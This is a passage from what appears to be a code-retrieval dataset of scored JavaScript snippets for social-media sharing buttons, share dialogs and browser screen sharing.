window.open(dojo.string.substitute(mapSharingOptions.TwitterShareURL, [tinyUrl]));\n break;\n case \"mail\":\n parent.location = dojo.string.substitute(mapSharingOptions.ShareByMailLink, [tinyUrl]);\n break;\n }\n }\n else {\n alert(messages.getElementsByTagName(\"tinyURLEngine\")[0].childNodes[0].nodeValue);\n return;\n }\n}", "title": "" }, { "docid": "57e851525121481bd410f5d0a3fe6bf8", "score": "0.62627995", "text": "function postToFeed(title, desc, url, image) {\n\n //window.open('https://www.facebook.com/sharer.php?title='+title+'&description='+desc+'&u='+url+'&picture='+image, 'Share', 'scrollbars=yes,resizable=yes,toolbar=no,menubar=no,scrollbars=no,location=no,directories=no,width=300, height=300, top=300, left=300' );\n\n\n FB.ui({\n method: 'share_open_graph',\n action_type: 'og.shares',\n action_properties: JSON.stringify({\n object: {\n 'og:url': url,\n 'og:title': title,\n 'og:description': desc,\n 'og:image': image\n }\n })\n });\n}", "title": "" }, { "docid": "2a76f5aa4c417f34ea17440f740f6d39", "score": "0.6261716", "text": "function twShare(url, title, winWidth, winHeight) {\n const winTop = 100;\n const winLeft = 100;\n window.open(`https://twitter.com/intent/tweet?text=${title}`, 'sharer', `top=${winTop},left=${winLeft},toolbar=0,status=0,width=${winWidth},height=${winHeight}`);\n}", "title": "" }, { "docid": "b45bcc3bb6880d462bd468ad69b0cc19", "score": "0.62486506", "text": "function loadGigyaShareBar() {\r\n var ua = new gigya.services.socialize.UserAction(), \r\n my_context, \r\n params;\r\n\r\n ua.setLinkBack(\"http://\" + document.domain + profileurl);\r\n ua.setTitle(gigyaShareTitle);\r\n ua.setDescription(shareProfileDescription);\r\n\r\n ua.addMediaItem({\r\n type: 'image',\r\n src: logo_url,\r\n href: \"http://\" + document.domain + profileurl\r\n });\r\n\r\n my_context = { \r\n share_type: 'profile'\r\n };\r\n \r\n params = { \r\n userAction: ua, \r\n shareButtons: 'facebook,twitter,email,google-plusone', \r\n containerID: 'gigyaShareBarButtons', \r\n showMoreButton: 'false', \r\n context: my_context, \r\n iconsOnly: 'true', \r\n showCounts: 'none' \r\n };\r\n\r\n gigya.services.socialize.showShareBarUI(conf, params);\r\n }", "title": "" }, { "docid": "fe98738b88931f1be9ffd07180ef5cd2", "score": "0.6220724", "text": "function isScreenShare(streamOrTrackKind) {\n return streamOrTrackKind === 'screen';\n}", "title": "" }, { "docid": "90b270f3f79affc254f310663f398c76", "score": "0.620401", "text": "function setupShare() {\n var shareBtn = document.getElementById('shareBtn');\n shareBtn.addEventListener('click', function(event) {\n console.log('Sharing results...');\n\n if (navigator.share) {\n navigator.share({\n title: document.title,\n url: window.location.href\n }).then(() => {\n console.log('Share action successful');\n })\n .catch(console.error);\n } else {\n // Use clipboard\n navigator.clipboard.writeText(document.title + ' ' + window.location.href).then(function() {\n alert('The webpage address, with all your settings, is now copied to the clipboard. \\n Share it by pasting it!')\n }, function() {\n alert('Unable to copy the webpage address to the clipboard. \\n Please do it manually.')\n });\n }\n });\n}", "title": "" }, { "docid": "6e48e475619eeea7be579926432ed660", "score": "0.6198961", "text": "function shareSocial(e) {\n\t\t\twindow.open(\n\t\t\t\te.target.hrefbase + encodeURIComponent(shareLinkInput.value),\n\t\t\t\t'popUpWindow',\n\t\t\t\t'height=400,width=600,left=10,top=10,,scrollbars=yes,menubar=no'\n\t\t\t);\n\t\t}", "title": "" }, { "docid": "14aca2ba7eb02f9121e14c2f92f3601e", "score": "0.6167499", "text": "function postShare() {\n // Post the shared post\n post('/post/share', { post_id: data.post_id })\n setShared(true)\n }", "title": "" }, { "docid": "fdc9ac7e7264f3c3886223db600fb15b", "score": "0.6161468", "text": "function socialShare(target, item, img, msg, link) {\n\t\t\t\tif ( target === 'twitter' ){\n\t\t\t\t\treturn 'https://twitter.com/intent/tweet?text=' + encodeURIComponent(msg) + '&url=' + encodeURIComponent(link);\n\t\t\t\t} else if ( target === 'facebook' ){\n\t\t\t\t\tif ( img ){\n\t\t\t\t\t\treturn 'https://www.facebook.com/dialog/share?app_id=180444840287&href=' + encodeURIComponent(link) + '&redirect_uri=' + encodeURIComponent(link) + '&picture=' + encodeURIComponent(img);\n\t\t\t\t\t} else {\n\t\t\t\t\t\treturn 'https://www.facebook.com/dialog/share?app_id=180444840287&href=' + encodeURIComponent(link) + '&redirect_uri=' + encodeURIComponent(link);\n\t\t\t\t\t}\n\t\t\t\t} else if ( target === 'linkedin' ){\n\t\t\t\t\treturn 'http://www.linkedin.com/shareArticle?mini=true&title=' + encodeURIComponent(msg) + '&url=' + encodeURIComponent(link);\n\t\t\t\t} else {\n\t\t\t\t\t// Failed\n\t\t\t\t\tif ( DEBUG ){\n\t\t\t\t\t\tconsole.log('Error: Unknown target for share link.');\n\t\t\t\t\t} else {\n\t\t\t\t\t\tconsole.log(DEBUG_msg);\n\t\t\t\t\t}\n\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}", "title": "" }, { "docid": "ce425e71b14d6d5a48695e75f02fe8b3", "score": "0.6146719", "text": "function shareContent() {\n // Build the JSON payload containing the content to be shared\n var payload = {\n \"comment\": \"@platerate is a great app to help you find food you love - Find the highest rated menu items - wherever you are!\",\n \"visibility\": {\n \"code\": \"anyone\"\n }\n };\n IN.API.Raw(\"/people/~/shares?format=json\")\n .method(\"POST\")\n .body(JSON.stringify(payload))\n .result(onSuccess)\n .error(onError);\n}", "title": "" }, { "docid": "75741e928667476bd1e20f7a3d6cc610", "score": "0.6129289", "text": "function sharefun() {\n var sharedmsg = document.getElementById(\"summarybody\").innerHTML;\n window.plugins.socialsharing.share(sharedmsg);\n}", "title": "" }, { "docid": "82c3b048e84fdd80b96ae8771a02d92d", "score": "0.61156464", "text": "function share(action){\r\n\t//var loc = location.href\r\n\t//loc = loc.substring(0, loc.lastIndexOf(\"/\") + 1);\r\n\tvar baseUrl = 'http://playkit.xyz/games/shenkin/';\r\n\tvar loc = baseUrl + '?source=[SOURCE]';\r\n\tvar source = 'other';\r\n\tvar title = shareTitle.replace(\"[SCORE]\", playerData.score);\r\n\tvar text = shareMessage.replace(\"[SCORE]\", playerData.score);\r\n\t\ttext = text.replace(\"[WON]\", (playerData.score >= prize1score) ? won : '');\r\n\tvar shareurl = '';\r\n\t\r\n\tif( action == 'twitter' ) {\r\n\t\tsource = 'twitterShare';\r\n\t\tshareurl = 'https://twitter.com/intent/tweet?url='+loc+'&text='+text;\r\n\t\tshareurl = shareurl.replace(\"[SOURCE]\", source);\r\n\t}else if( action == 'facebook' ){\r\n\t\tsource = 'facebookShare';\r\n\t\tloc = loc.replace(\"[SOURCE]\", source);// before the encode\r\n\r\n\t\tparams = title+'~~~~'+text;\r\n\t\tparams = params.replace(/ /g, '~');\r\n\r\n\t\tshareurl = 'http://www.facebook.com/sharer.php?m2w&u='+encodeURIComponent(baseUrl+'share.php?params='+params);\r\n\r\n\t\t//raise ga event\r\n\t\traiseGaEvent('shared game', 'facebook share', playerData.score, 1);\t\r\n\r\n\t}else if( action == 'google' ){\r\n\t\tsource = 'googleShare';\r\n\t\tshareurl = 'https://plus.google.com/share?url='+loc;\r\n\t\tshareurl = shareurl.replace(\"[SOURCE]\", source);\r\n\t}else if( action == 'whatsapp' ){\r\n\t\tsource = 'whatsappShare';\r\n\t\tloc = loc.replace(\"[SOURCE]\", source);\r\n\t\tshareurl = 'whatsapp://send?text='+encodeURIComponent(text)+' - '+encodeURIComponent(loc);\r\n\r\n\t\t//raise ga event\r\n\t\traiseGaEvent('shared game', 'whatsapp share', playerData.score, 1);\t\r\n\t}\r\n\t\r\n\twindow.open(shareurl);\r\n}", "title": "" }, { "docid": "4782272d665067148049efb737c9203f", "score": "0.6111616", "text": "function publishStory() {\n FB.ui({\n method: 'feed',\n name: 'Community Mapping for new',\n caption: 'ManU for Mobile Web.',\n description: 'Your 1 second makes new world!!',\n link: 'http://apps.facebook.com/mobile-start/',\n picture: 'http://www.facebookmobileweb.com/hackbook/img/facebook_icon_large.png',\n actions: [{ name: 'Get Started', link: 'http://apps.facebook.com/mobile-start/' }],\n }, \n function(response) {\n console.log('publishStory UI response: ', response);\n });\n}", "title": "" }, { "docid": "b68c94e7104d513d63224de35eac3cb4", "score": "0.60885036", "text": "function gbShare ( shareText, shareLink )\n{\n\tshareText = shareText || \"\";\n\tshareLink = shareLink || \"\";\n\tgbGetRequest ( \"goodbarber://share\", { \"text\":encodeURIComponent(shareText), \"link\":encodeURIComponent(shareLink) } );\n}", "title": "" }, { "docid": "ffa6bd7466f7c9bb9bfa02e820973f6c", "score": "0.60845166", "text": "function shareDashboard() {\n let url = Filters.getFiltersShareUrl();\n ngDialog.open({template: 'src/views/shareDashboard.html', controller: 'shareDashboard', data: { url }, showClose: true, className: \"ngdialog-theme-default wnd-about\" });\n }", "title": "" }, { "docid": "000cf134746977fd2c86130d404eba0b", "score": "0.6058813", "text": "function setupSharing() {\n\t$sharingLinks = jQuery('.sharing-list a:not([data-include-script]):not(.email)');\n\t$sharingLinks.click(function(e){\n\t\thref = this.getAttribute('href');\n\t\topenWindow(href, 'Share');\n\t\te.preventDefault();\n\t});\n\tvar $scriptLinks = jQuery('.sharing-list a[data-include-script]');\n\t$scriptLinks.click(function(e){\n\t\te.preventDefault(); // stop default\n\t\t// show loading indicator\n\t\tfaLoadingIndicator(jQuery(this), 2000);\n\t\t// get script src\n\t\tvar scriptToLoad = jQuery(this).attr('data-include-script');\n\t\t// load script\n\t\tvar s = document.createElement('script');\n\t\ts.setAttribute('type','text/javascript');\n\t\ts.setAttribute('charset','UTF-8');\n\t\ts.setAttribute('src',scriptToLoad);\n\t\tdocument.body.appendChild(s);\n\t});\n}", "title": "" }, { "docid": "e84fecf4146215995ba216eab3eecdce", "score": "0.60376126", "text": "function shareLink(site) {\r\n if (site === \"fb\") {\r\n bitlyURL(shareURL, setFBLink);\r\n }\r\n if (site === \"tw\") {\r\n bitlyURL(shareURL, setTWLink);\r\n }\r\n}", "title": "" }, { "docid": "ab208a76206b8a579e7cac76d4837c08", "score": "0.60303676", "text": "function onScreenshareExtensionCallback(event){\n console.log(\"onScreenshareExtensionCallback\" , event);\n\n if (event.data.chromeExtensionStatus) {\n console.log(event.data.chromeExtensionStatus);\n }\n\n if (event.data.sourceId) {\n if (event.data.sourceId === 'PermissionDeniedError') {\n console.log('permission-denied');\n } else{\n webrtcdevScreenConstraints(event.data.sourceId);\n }\n }\n}", "title": "" }, { "docid": "9b59499a802baa83dbd7de124c700b5e", "score": "0.6026102", "text": "function share_twitter(){\n window.open(href=\"https://twitter.com/intent/tweet?text=Check out my cartogram!\", '', 'menubar=no,toolbar=no,resizable=yes,scrollbars=yes,height=600,width=600');\n}", "title": "" }, { "docid": "1dee1af2a8f049899c7c6a83868c89c1", "score": "0.6010195", "text": "function onRemoteShareUrl( data ) {\n var winWidth = window.innerWidth;\n var winHeight = window.innerHeight;\n\n remoteFrame.position( 0, 0 );\n remoteFrame.size( winWidth, winHeight );\n remoteFrame.navigate( data );\n remoteFrame.show();\n lightsOut();\n }", "title": "" }, { "docid": "84232b9ab445474c02de9112b8c4645e", "score": "0.60094625", "text": "function setupSharing() {\n\t$sharingLinks = jQuery('.sharing-list a:not(.pinterest):not(.email)');\n\t$sharingLinks.click(function(e){\n\t\thref = this.getAttribute('href');\n\t\topenWindow(href, 'Share');\n\t\te.preventDefault();\n\t});\n\tvar $pinterestLink = jQuery('.sharing-list a.pinterest');\n\t$pinterestLink.click(function(e){\n\t\tfaLoadingIndicator(jQuery(this), 'fa-pinterest', 2000); // show loading indicator\n\t\tpinterestPinIt(); // fire of pinterest function\n\t\te.preventDefault(); // stop default\n\t});\n}", "title": "" }, { "docid": "a3a31b83e2814a7f64a82af12bb51b3d", "score": "0.60045683", "text": "function showShareDialog() {\n openDialog('/html/share.html', 500, 500);\n}", "title": "" }, { "docid": "9e86af2adea7fbe4e7e9f95749cc41f7", "score": "0.60007715", "text": "function shareEvent() {\n if (!_shareToCallout) {\n _shareToCallout = true;\n var socialList = document.querySelector('.commandBarWrapper>ul');\n if (socialList && !_shareLinkCalloutBuilt) {\n socialList.removeAttribute('style');\n var shareCallout = new Callout(function () {\n _shareToCallout = false;\n });\n _shareLinkCalloutBuilt = socialList;\n shareCallout.className = 'ms-scaleUpIn100';\n shareCallout.isLightCallout = true;\n shareCallout.content = socialList;\n var calloutElem = shareCallout.render();\n calloutElem.style.zIndex = 100;\n this.appendChild(calloutElem);\n } else if (!socialList && _shareLinkCalloutBuilt) {\n var shareCallout = new Callout(function () {\n _shareToCallout = false;\n });\n shareCallout.className = 'ms-scaleUpIn100';\n shareCallout.isLightCallout = true;\n shareCallout.content = _shareLinkCalloutBuilt;\n var calloutElem = shareCallout.render();\n calloutElem.style.zIndex = 100;\n this.appendChild(calloutElem);\n }\n }\n }", "title": "" }, { "docid": "ed045393e4bbfcea55f6a35138eb17d0", "score": "0.59816426", "text": "function onStartSuccess() {\n log('Screensharing started.');\n isSharing = true;\n}", "title": "" }, { "docid": "f3cf6596477ff0960155b30f78bcbc06", "score": "0.5962589", "text": "function SocialClick(a){\n \t var linkTag = a;\n \t var x = a.getAttribute(\"data\");\n \t var listOfPic = getParameterByName('picture',x)\n \t console.log(listOfPic);\n \t FB.ui(\n \t\t\t {\n \t\t\t method: 'share_open_graph',\n \t\t\t action_type: 'og.shares',\n \t\t\t action_properties: JSON.stringify({\n \t\t object : {\n \t\t 'og:url': getParameterByName('href',x),\n \t\t 'og:title': 'TripIt',\n \t\t 'og:description': getParameterByName('quote',x),\n \t\t 'og:og:image:width': '2560',\n \t\t 'og:image:height': '960',\n \t\t 'og:image': listOfPic\n \t\t }\n \t\t }),\n// \t\t\t name: 'DebugmodeEventPlans',\n// \t\t\t link: getParameterByName('href',x),\n// \t\t\t caption: 'SmartTravel',\n// \t\t\t description: getParameterByName('quote',x),\n// \t\t\t picture: getParameterByName('picture',x),\n// \t\t\t appId: getParameterByName('app_id',x)\n \t\t\t });\n }", "title": "" }, { "docid": "7a5045d289d98792c7fccfdf54bd9de1", "score": "0.59519583", "text": "function shareSelected() {\n EventBridge.emitWebEvent(JSON.stringify({\n type: \"snapshot\",\n action: paths\n }));\n}", "title": "" }, { "docid": "4f7c77efa7864f6dfd5db89e03c8cab9", "score": "0.5927634", "text": "function shareText(e) {\n var request = e.request;\n \n request.data.properties.title = app.sessionState.shareTitle==null ? shareTitle : app.sessionState.shareTitle;\n request.data.setText(app.sessionState.shareMessage == null ? shareMessage : app.sessionState.shareMessage);\n\n }", "title": "" }, { "docid": "2fe443b86af19237522a39548a08c4d9", "score": "0.59232324", "text": "enableShareContent() {\n if (this.mainVideoId) {\n this.returnLargeToGrid();\n }\n // don't set until above called to take person out of this vie\n this.setShareContentDisplay(true);\n this.showContentView();\n }", "title": "" }, { "docid": "f8cf6d8dad28cea6c758285e5215794a", "score": "0.5900018", "text": "share(e) {\n\t\t// if iOS share URL has been set then use timeout hack\n\t\t// test for native app and fall back to web\n\t\tif (this.mobileShareUrl) {\n\t\t\tvar start = (new Date()).valueOf();\n\n\t\t\tsetTimeout(() => {\n\t\t\t\tvar end = (new Date()).valueOf();\n\n\t\t\t\t// if the user is still here, fall back to web\n\t\t\t\tif (end - start > 1600) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\twindow.location = this.shareUrl;\n\t\t\t}, 1500);\n\n\t\t\twindow.location = this.mobileShareUrl;\n\n\t\t// open mailto links in same window\n\t\t} else if (this.type === 'email') {\n\t\t\twindow.location = this.shareUrl;\n\n\t\t// open social share URLs in new window\n\t\t} else {\n\t\t\tlet windowOptions = false;\n\n\t\t\t// if popup object present then set window dimensions / position\n\t\t\tif(this.popup && this.transformData.popup) {\n\t\t\t\twindowOptions = this.transformData.popup;\n\t\t\t}\n\n\t\t\tthis.openWindow(this.shareUrl, windowOptions);\n\t\t}\n\t}", "title": "" }, { "docid": "2bac754e344c569a138a0e1890fdc2b6", "score": "0.5893525", "text": "function facebook_build_share(){\n\tinvite_location = loc_search_results[loc_invite_key];\n\tdescription = invite_location.name+'<center></center>';\n\tdescription += invite_location.address+'<center></center>';\n\tdescription += invite_location.city+', '+invite_location.state+' '+invite_location.zipcode+'<center></center>';\n\t\n\tvar href = 'https://www.facebook.com/dialog/feed?';\n href += 'app_id='+loc_invite_facebook_appid+'&';\n href += 'link='+document.URL+'&';\n href += 'name='+encodeURIComponent(loc_invite_facebook_header)+'&';\n href += 'caption='+encodeURIComponent(loc_invite_brand_message.replace('[location]', invite_location.name))+'&';\n href += 'description='+encodeURIComponent(description)+'&';\n \thref += 'redirect_uri='+loc_system_url+'facebook_redirect.html';\n\n\t$loc('.locator_invite_facebook a').attr('href', href);\n}", "title": "" }, { "docid": "37752f5b10032391f43d677de5d61e0f", "score": "0.5870951", "text": "function add_to_shares(message, embed){\n\tvar post = '<li><p>'+replaceURLWithHTMLLinks(message)+'</p>';\n\tif (embed != null)\n\t\tpost += embed;\n\tpost += '</li>';\n\t$('#shares').prepend(post);\n\tadd_to_db(message);\n}", "title": "" }, { "docid": "4c41dc6e531d12403f2e623753d76e06", "score": "0.58628535", "text": "function shareScreenhelp() {\n if (this.userMediaAvailable()) {\n return navigator.mediaDevices.getDisplayMedia({\n video: {\n cursor: \"always\"\n },\n audio: {\n echoCancellation: true,\n noiseSuppression: true,\n sampleRate: 44100\n }\n });\n }\n\n else {\n throw new Error('User media not available');\n }\n}", "title": "" }, { "docid": "2ae0d7d4b185d49a9720752675091d5f", "score": "0.58568513", "text": "function shareMap() {\n var url = mapObj.getMapImagePath();\n if (url != '') SocialSharing(\"You should check this out!\", \"DevInfo\", url, url, \"Powered By DevInfo\", \"This is dummy description for testing the facebook sharing feature.\"); else alert('Map image url is empty!');\n}", "title": "" }, { "docid": "ad797d8e1ffe360fd9be502c5ba8d7d8", "score": "0.5850446", "text": "function initSocialSharingWidget() {\n var widget = $('#tesla-social-widget');\n var type = null;\n var url = null;\n var message = null;\n var page = document.URL;\n var width = 550\n var height = 450;\n if (widget.length !== 0) {\n widget.find('a').each(function() {\n type = $(this).attr('class');\n switch (type) {\n case 'facebook':\n url = 'https://www.facebook.com/sharer/sharer.php?u=' + encodeURIComponent(page);\n break;\n case 'twitter':\n message = $(this).find('span').text();\n url = 'https://twitter.com/intent/tweet?text=' + encodeURIComponent(message) + '&url=' + encodeURIComponent(page) + '&via=' + encodeURIComponent('TeslaMotors') + '&related=' + encodeURIComponent('TeslaMotors,elonmusk');\n break;\n case 'google':\n url = 'https://plus.google.com/share?url=' + encodeURIComponent(page);\n break;\n }\n if (url !== null) {\n $(this).attr('href', url);\n }\n });\n widget.on('click', 'a', function(e) {\n e.preventDefault();\n window.open($(this).attr('href'), '_blank', 'width=' + width + ', height=' + height);\n });\n }\n}", "title": "" }, { "docid": "2b3107f10b79666e28578ba947930d46", "score": "0.58334094", "text": "function setScreenSharingEnabled(enabled) {\n if(enabled) isExtensionInstalled();\n \n isScreenSharingEnabled = enabled; //&& isScreenSharingAvailable;\n\n $(chkScreenEnabled).toggleClass('btn-danger', isScreenSharingEnabled);\n console.log(\"Screen sharing enabled: \" + isScreenSharingEnabled);\n\n setVideoStreamEnabled(isWebcamEnabled || isScreenSharingEnabled);\n\n if(isScreenSharingEnabled) {\n if (!DetectRTC.isWebRTCSupported) {\n console.log(\"WebRTC not supported\");\n showCompatibilityWarning(\"#rtc-area\");\n }\n\n switchToScreenSharing();\n }\n}", "title": "" }, { "docid": "5402e8bc798e51bb40808a03360242f0", "score": "0.58187354", "text": "function Share(element) {\n\n if (typeof isElement !== 'function') {\n throw new Error(\"Cant find isElement function!\");\n }\n\n if (!shareInfo || typeof shareInfo !== 'object') {\n throw new Error(\"Cant find shareInfo object!\");\n }\n\n if (!element || !isElement(element)) {\n throw new Error(\"Cant find share element!\");\n }\n\n try {\n addEvent(element, 'click', onClick);\n } catch (e) {\n element.onclick = onClick;\n }\n\n // It opens a sharing window when clicking on an element\n function onClick () {\n var sharingSite = element.getAttribute('data-site');\n\n // Получить информацию про страницу\n var url = shareInfo.get('url');\n var title = shareInfo.get('title');\n var desc = shareInfo.get('description');\n var image = shareInfo.get('image');\n\n // Set different URLs for different sharing sites\n var sharingUrl = '';\n switch (sharingSite) {\n case 'vk':\n sharingUrl = 'https://vk.com/share.php?&title=' + title + '&description=' + desc + '&image=' + image + '&noparse=true&url=' + url;\n break;\n case 'twitter':\n sharingUrl = 'https://twitter.com/share?text=' + title + '&url=' + url;\n break;\n case 'facebook':\n sharingUrl = 'https://www.facebook.com/sharer/sharer.php?u=' + url;\n break;\n case 'odnoklassniki':\n sharingUrl = 'http://www.odnoklassniki.ru/dk?st.cmd=addShare&st.s=1&st._surl=' + url + '&st.comments=' + title + '';\n break;\n case 'mail.ru':\n sharingUrl = 'http://connect.mail.ru/share?url=' + url + '&title=' + title + '&description=' + desc + '&imageurl=' + image + '';\n break;\n case 'google+':\n sharingUrl = 'https://plus.google.com/share?url=' + url;\n break;\n case 'tumblr':\n sharingUrl = 'http://www.tumblr.com/share?v=3&t=' + title + '&u=' + url;\n break;\n case 'pinterest':\n sharingUrl = 'http://pinterest.com/pin/create/button/?media=' + image + '&description=' + desc + '&url=' + url;\n break;\n default:\n sharingUrl = sharingSite;\n }\n window.open(sharingUrl, '_blank', \"width=\" + 500 + \", height=\" + 500);\n }\n}", "title": "" }, { "docid": "3eb3aa10a3cd8d8f4b62862d0718fd33", "score": "0.58186173", "text": "onShareAppMessage() {\n\n }", "title": "" }, { "docid": "22625211ae566624bdf587ebc559330e", "score": "0.5809448", "text": "connectedCallback(){super.connectedCallback();this.__disposer=[];autorun(reaction=>{let manifest=toJS(store.manifest);this.title=manifest.title;this.image=manifest.metadata.image;this.icon=manifest.metadata.icon;this.author=manifest.metadata.author;this.__disposer.push(reaction)});autorun(reaction=>{this._noticeLocationChange(store.location);this.__disposer.push(reaction)});autorun(reaction=>{this.activeManifestIndexCounter=toJS(store.activeManifestIndexCounter);this.__disposer.push(reaction)});autorun(reaction=>{this.activeTitle=toJS(store.activeTitle);this.shareUrl=document.location.href;this.shareMsg=this.activeTitle+\" \"+this.shareUrl;if(store.activeItem&&store.activeItem.metadata&&store.activeItem.metadata.fields&&store.activeItem.metadata.fields.subtitle){this.subtitle=store.activeItem.metadata.fields.subtitle}else{this.subtitle=!1}// look for image on the post and make it the pin share\nif(store.activeItem&&store.activeItem.metadata&&store.activeItem.metadata.fields&&store.activeItem.metadata.fields.images&&store.activeItem.metadata.fields.images[0]&&store.activeItem.metadata.fields.images[0].src){this.activeImage=store.activeItem.metadata.fields.images[0].src}this.__disposer.push(reaction)})}", "title": "" }, { "docid": "9700542eddf7fc2985e51bc53fc93e0f", "score": "0.57964724", "text": "function shareCurrentSong() {\n var song = Grooveshark.getCurrentSongStatus().song;\n if (song) {\n GS.trigger('lightbox:open', 'share', { item: GS.Models.Song.newOrUpdate({ SongID: song.songID }) });\n }\n }", "title": "" }, { "docid": "97821eb4b4b573e7223cea1c1cbaae72", "score": "0.5784406", "text": "function twitter_build_share(){\n\tinvite_location = loc_search_results[loc_invite_key];\n\t\n\tvar href = 'https://twitter.com/intent/tweet?';\n\thref += 'text='+encodeURIComponent(loc_invite_brand_message.replace('[location]', invite_location.name))+'%0A%0A';\n\thref += invite_location.name+'%0A';\n\thref += invite_location.address+'%0A';\n\thref += invite_location.city+', '+invite_location.state+' '+invite_location.zipcode;\n\n\t$loc('.locator_invite_twitter a').attr('href', href);\n}", "title": "" }, { "docid": "cec0572f2be34aca350a55e03570ef98", "score": "0.5764813", "text": "function fadeInShare(link, media=false) {\n screenBlockShare.css(\"display\", \"block\")\n screenBlockShare.animate({opacity: 1}, 250)\n shareContainer.css(\"display\", \"flex\")\n shareContainer.animate({opacity: 1}, 250)\n if (media) {\n shareContainer.find(\".grid-title\").html(\"Share \" + media)\n $(\"#twitter\").attr(\"href\", \"https://twitter.com/intent/tweet?url=\" + link + \"&text=Checkout this \" + media + \" on Spotify:\")\n $(\"#email\").attr(\"href\", \"mailto:?subject=Checkout%20this%20\" + media + \"&body=Hey!%0D%0A%0D%0ACheckout%20this%20\" + media + \"%20on%20Spotify!%0D%0A\" + link)\n $(\"#link\").html(link)\n $(\"#fb\").attr(\"href\", \"https://www.facebook.com/sharer/sharer.php?u=\" + link)\n } else {\n shareContainer.find(\".grid-title\").html(\"Invite users\")\n $(\"#twitter\").attr(\"href\", \"https://twitter.com/intent/tweet?url=https://morahman.me/musictogether/join.php?group_id=\" + link + \"&text=Join my Music Together group:\")\n $(\"#email\").attr(\"href\", \"mailto:?subject=Join%20my%20Music%20Together%20group!&body=Hey!Join%20my%20Music%20Together%20group%20session%20here%3Ahttps%3A%2F%2Fmorahman.me%2Fmusictogether%2Fjoin.php%3Fgroup_id%3D\" + link)\n $(\"#link\").html(\"https://morahman.me/musictogether/join.php?group_id=\" + link)\n $(\"#fb\").attr(\"href\", \"https://www.facebook.com/sharer/sharer.php?u=https://morahman.me/musictogether/join.php?group_id=\" + link)\n }\n}", "title": "" }, { "docid": "e266f9d69c2609211d0722edd8cab4ce", "score": "0.5764645", "text": "showNearbyShareReceivedNotification() {\n chrome.send('showNearbyShareReceivedNotification');\n }", "title": "" }, { "docid": "79a1b3e6ae3d9674ff3e555fbd537a20", "score": "0.5758245", "text": "function SK_getStoryShares(post_id) {\n main_elem = $('.story_' + post_id);\n share_activity_btn = main_elem.find('.share-activity');\n SK_progressIconLoader(share_activity_btn);\n \n $.get(SK_source(), {t: 'post', post_id: post_id, a: 'share_window'}, function(data) {\n \n if (data.status == 200) {\n $(document.body)\n .append(data.html)\n .css('overflow','hidden');\n \n if ($('.header-wrapper').width() < 920) {\n $('.window-wrapper').css('margin-top',($(document).scrollTop()+10)+'px');\n }\n }\n \n SK_progressIconLoader(share_activity_btn);\n });\n}", "title": "" }, { "docid": "a5624e857162fcc4dff1ebc7ca1f404e", "score": "0.5757093", "text": "function TeamsLandingPageSection({setOpen}) {\n const shareLink = (e)=>{\n prompt(\n \"Copy this link and send it to people you want to invite\",\n window.location.href+\"/join\"\n );\n }\n return (\n <div className=\"userchat__area teams__landing__main\">\n <div style={{display:\"grid\",placeItems:\"center\"}}>\n <h3>Welcome to the team</h3>\n <p>Here are somethings to start with ...</p>\n <div className=\"teams_landing_head\">\n <img src={channelImage} />\n <img src={teamsImage}/>\n </div>\n <div className=\"teams_landing_cta\">\n <Button kind=\"danger--tertiary\" size=\"sm\" onClick={()=>setOpen(true)}>CreateChannel</Button>\n <Button kind=\"primary\" size=\"sm\" onClick={()=>shareLink()}>Invite users</Button>\n </div>\n </div>\n </div>\n )\n}", "title": "" }, { "docid": "ccb57c2be38bfe45b4ddc2ad6fb909ab", "score": "0.5753121", "text": "function facebookShare(url){\n if(url === \"missingurl\"){\n window.open(`/${url}`, \"_blank\")\n }\n\n else{\n window.open(`https://facebook.com/sharer/sharer.php?u=${url}`, \"_blank\")\n }\n}", "title": "" }, { "docid": "239e3013cbb7b894a03b3b8426d454d3", "score": "0.57461", "text": "async createMediaDisplayIntent (cmdInv, request, response) {\n\t\tconst intent = Intent.createIntent (\"MediaDisplayIntent\", cmdInv.params);\n\t\tApp.systemAgent.removeIntentGroup (this.name);\n\t\tawait this.clear ();\n\t\tApp.systemAgent.runIntent (intent, this.name);\n\t\tApp.systemAgent.writeCommandResponse (request, response, App.systemAgent.createCommand (SystemInterface.CommandId.CommandResult, {\n\t\t\tsuccess: true\n\t\t}));\n\t}", "title": "" }, { "docid": "1c48356653fad71cef3da870f0e095c6", "score": "0.57416636", "text": "function sharingTweet(shared = text.innerHTML) {\n const reg = /\\s/g;\n shared = shared.replace(reg, \"%20\")\n \n shareWithTwitter.href = `https://twitter.com/intent/tweet?text=${shared}`;\n console.log(shareWithTwitter.href)\n}", "title": "" }, { "docid": "7cb7b829989294cabfd632cfeee0341f", "score": "0.5732362", "text": "function sharelink(){\n var url2 = new URL(window.location.href);\n copytext(url2);\n }", "title": "" }, { "docid": "f65a7e817f8bc8addc55d6be335b805f", "score": "0.5732055", "text": "async function startscreen(){\n\ntry{\n socket.on('share-screen', (userId) => {\n console.log(userId)\n\n });\n if(myVideoStream===stream){\n let stream = await navigator.mediaDevices.getDisplayMedia(displayMediaOption);\n stream.inactive = false\n myVideoStream = stream; \n console.log(myVideoStream)\n oneTimeShare = false \n //let username = +'(Screening)'\n socket.emit('join-room', ROOM_ID, id) \n myVideo.srcObject = stream\n myVideo.removeAttribute(\"class\")\n const html = `<i class=\" fas fa-desktop\"></i>\n <span style=\"font-size:18px\">Stop</span>`;\n document.querySelector(\"#startScreen\").innerHTML = html;\n }\n else{\n //let username = userId+'(Screening)'\n socket.emit('screen-share-cancel',null) \n myVideoStream = stream;\n myVideo.setAttribute(\"class\",\"VideoStreams\")\n socket.emit('join-room', ROOM_ID, id) \n myVideo.srcObject = stream;\n const html = `<i class=\" fas fa-desktop\"></i>\n <span style=\"font-size:18px\">Share Screen</span>`;\n document.querySelector(\"#startScreen\").innerHTML = html;\n } \n}\n\ncatch(err){\n console.error(\"Error\" + err)\n}\n}", "title": "" }, { "docid": "e21899ef63155e312798b314876e51bb", "score": "0.5729582", "text": "function shareEvents() {\n\tvar $btn = $('.open-share-js');\n\t$btn.each(function () {\n\t\tvar $currentBtn = $(this),\n\t\t\t$wrapper = $currentBtn.parent(),\n\t\t\t$itemList = $wrapper.find('.soc-square'),\n\t\t\t$item = $wrapper.find('.soc-square li');\n\n\t\tvar tw = new TimelineLite({paused: true});\n\n\t\ttw\n\t\t\t.set($itemList, {perspective: 500})\n\t\t\t.set($item, {display: \"block\"})\n\t\t\t.staggerFrom($item, 0.2, {autoAlpha: 0, rotationX: -90, transformOrigin: \"50% 0\"}, 